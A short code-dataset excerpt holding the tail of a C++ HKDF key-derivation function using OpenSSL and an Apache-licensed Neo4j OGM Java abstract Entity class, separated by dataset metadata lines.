if (EVP_PKEY_CTX_set_hkdf_md(pctx, EVP_sha256()) <= 0)
throw(-1);
#if 0
if (EVP_PKEY_CTX_set1_hkdf_salt(pctx, "salt", 4) <= 0)
throw(-1);
#endif
if (EVP_PKEY_CTX_set1_hkdf_key(pctx, masterKey, masterKeyLen) <= 0)
throw(-1);
if (EVP_PKEY_CTX_add1_hkdf_info(pctx, info, (int)strlen(info)) <= 0)
throw(-1);
if (EVP_PKEY_derive(pctx, newKey, &outLen) <= 0)
throw(-1);
if (outLen != newKeyLen)
throw(-1);
} catch (...) {
ret = false;
}
if (pctx)
EVP_PKEY_CTX_free(pctx);
return ret;
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2002-2020 "Neo4j,"
* Neo4j Sweden AB [http://neo4j.com]
*
* This file is part of Neo4j.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.neo4j.ogm.domain.knowledge;
/**
* @author vince
*/
public abstract class Entity {
Long id;
String name;
}
| {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.